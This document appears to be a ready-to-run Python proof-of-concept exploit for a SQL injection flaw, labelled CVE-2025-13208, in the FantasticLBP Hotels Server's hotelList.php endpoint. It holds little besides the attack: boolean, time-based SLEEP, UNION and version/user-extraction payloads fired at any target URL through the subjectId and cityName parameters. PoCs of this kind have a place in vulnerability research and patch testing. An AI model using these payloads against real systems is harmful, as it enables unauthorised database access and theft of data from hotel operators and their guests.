CVE-2025-13208 FantasticLBP Hotels Server SQL注入漏洞

import requests import sys # CVE-2025-13208 SQL Injection PoC # Target: FantasticLBP Hotels Server # Endpoint: controller/api/hotelList.php def test_sqli(url, param_type='subjectId'): """Test for SQL injection vulnerability""" # Normal request normal_params = { param_type: '1' } # SQL injection payloads payloads = [ "1' OR '1'='1", # Basic boolean injection "1' AND SLEEP(5)-- -", # Time-based blind injection "1' UNION SELECT NULL-- -", # Union-based injection "1' UNION SELECT version(),user()-- -" # Extract database info ] print(f"[*] Testing {url}") print(f"[*] Parameter: {param_type}") try: # Test normal request response = requests.get(f"{url}/controller/api/hotelList.php", params=normal_params, timeout=10) print(f"[+] Normal request status: {response.status_code}") # Test with payloads for i, payload in enumerate(payloads, 1): test_params = {param_type: payload} print(f"\n[*] Testing payload {i}: {payload}") try: response = requests.get( f"{url}/controller/api/hotelList.php", params=test_params, timeout=15 if 'SLEEP' in payload else 10 ) print(f"[+] Response status: {response.status_code}") if 'SLEEP' in payload and response.elapsed.total_seconds() > 4: print("[!] Time-based blind SQL injection confirmed!") elif response.status_code == 200 and len(response.text) > 0: print(f"[+] Response received: {response.text[:200]}...") except requests.exceptions.Timeout: print("[!] Request timeout - possible time-based injection") except Exception as e: print(f"[-] Error: {str(e)}") except Exception as e: print(f"[-] Connection error: {str(e)}") if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] test_sqli(target_url, 'subjectId') test_sqli(target_url, 'cityName') else: print("Usage: python cve-2025-13208.py <target_url>") print("Example: python cve-2025-13208.py http://target.com")